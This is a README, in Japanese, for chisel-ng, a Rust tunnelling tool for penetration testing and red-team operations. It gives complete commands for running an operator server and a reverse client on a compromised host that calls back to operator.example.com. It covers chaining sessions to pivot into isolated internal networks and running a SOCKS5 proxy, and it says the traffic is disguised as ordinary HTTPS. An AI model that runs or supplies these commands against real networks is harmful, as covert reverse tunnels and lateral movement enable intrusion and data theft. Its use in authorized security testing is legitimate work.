
Chisel新世代、Rust製。WSS上のSSH、いくつかのカスタマイズ付き。
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
# chisel-ng




ペネトレーションテストやレッドチームオペレーション向けの [chisel](https://github.com/jpillora/chisel) の Rust 実装です。SSH-over-WebSocket-over-TLS でリバーストンネルを確立し、通常の HTTPS トラフィックに紛れながら、侵害したホストを経由したピボットを可能にします。
---
## 目次
- [クイックスタート](#quick-start)
- [機能](#features)
- [アーキテクチャ](#architecture)
- [使用方法リファレンス](#usage-reference)
- [サーバー(オペレーター)](#server-operator)
- [リバースクライアント(エージェント)](#reverse-client-agent)
- [バインドクライアント(エージェント - インバウンドモード)](#bind-client-agent---inbound-mode)
- [サーバー CLI コマンド](#server-cli-commands)
- [マルチホップピボット](#multi-hop-pivoting)
- [技術詳細](#technical-details)
- [OPSEC 考慮事項](#opsec-considerations)
- [免責事項](#disclaimer)
---
## クイックスタート
### 必要条件
- Rust 1.70+ ([rustup.rs](https://rustup.rs/))
### ビルド
```bash
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
バイナリは target/release/ に出力されます: chisel-server, chisel-client, chisel-bind-client
1. サーバーを起動(オペレーター):
./chisel-server -p 'secret' -v
2. クライアントを実行(ターゲット):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. トンネルを作成:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. 内部サービスにアクセス:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| オペレーター | | ターゲットネットワーク |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (over TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
プロトコルスタック:
TCP -> TLS 1.3 -> WebSocket -> SSH -> トンネルデータ
^
HTTPS に見える
クライアントモード:
chisel-client) - サーバーにアウトバウンド接続chisel-bind-client) - インバウンドを待ち受け; サーバーは connect コマンドを使用OPTIONS:
-l, --listen <ADDR> 待ち受けアドレス [デフォルト: 0.0.0.0:8443]
-p, --psk <PSK> 事前共有キーまたはパスフレーズ [env: CHISEL_PSK]
--cert <FILE> TLS 証明書 (PEM)
--key <FILE> TLS 秘密鍵 (PEM)
--generate-psk ランダムな PSK を生成して終了
-v, --verbose 詳細出力
OPTIONS:
-s, --server <ADDR> サーバーアドレス (host:port)
-p, --psk <PSK> 事前共有キーまたはパスフレーズ [env: CHISEL_PSK]
-u, --user <LABEL> セッションラベル [デフォルト: agent]
-k, --insecure TLS 検証をスキップ
--no-reconnect 自動再接続を無効化
-i, --interval <SECS> 再接続間隔 [デフォルト: 30]
--heartbeat <SECS> ハートビート間隔 [デフォルト: 30]
-v, --verbose 詳細出力
アウトバウンドを開始できずインバウンドを受け入れ可能なターゲット向け:
OPTIONS:
-l, --listen <ADDR> 待ち受けアドレス (例: 0.0.0.0:9000)
-p, --psk <PSK> 事前共有キーまたはパスフレーズ [env: CHISEL_PSK]
-u, --user <LABEL> セッションラベル [デフォルト: agent]
-k, --insecure TLS 検証をスキップ
--heartbeat <SECS> ハートビート間隔 [デフォルト: 30]
-v, --verbose 詳細出力
メインメニュー:
sessions 接続中のセッション一覧
session <id> セッションを選択
connect <ip:port> バインドクライアントに接続
disconnect <id> セッションを切断 (再接続する)
kill <id> クライアントプロセスを強制終了
セッションメニュー:
tunnel <local>:<target_ip>:<target_port> トンネルを作成
tunnel --local <local>:<target>:<port> トンネルを作成 (localhost のみ)
tunnel stop <port> トンネルを停止
tunnels トンネル一覧
socks5 <port> SOCKS5 プロキシを起動
socks5 stop <port> SOCKS5 プロキシを停止
ping レイテンシ測定
ps リモートプロセス一覧
netstat リモート接続一覧
既存のセッションをチェーンして、隔離されたネットワークに到達します。
シナリオ: DMZホストはオペレーターに到達可能。内部ホスト (10.0.0.50) には DMZ からのみアクセス可能。
+----------+ +-----------+ +------------+
| オペレーター |--SSH---| セッション1 |--TCP---| セッション2 |
| サーバー | | (DMZ) | | (内部) |
+----------+ +-----------+ +------------+
手順 1 - サーバーを起動 (オペレーター):
./chisel-server -p 'secret' -v
手順 2 - リバースクライアントを実行 (DMZホスト):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
手順 3 - バインドクライアントを実行 (内部ホスト 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
手順 4 - トンネルを作成して接続 (サーバー CLI):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
トンネルを作成するとき (tunnel 8080:192.168.1.100:80):
RFC 1928 ハンドシェイクによる動的な宛先指定。正確なポートスキャン結果を得るために適切なエラーコードを返します。
リリースビルドは強化されています:
--heartbeat 0 で無効化このツールは許可されたセキュリティテスト専用です。使用前に適切な許可を取得してください。作者は誤用について責任を負いません。
MIT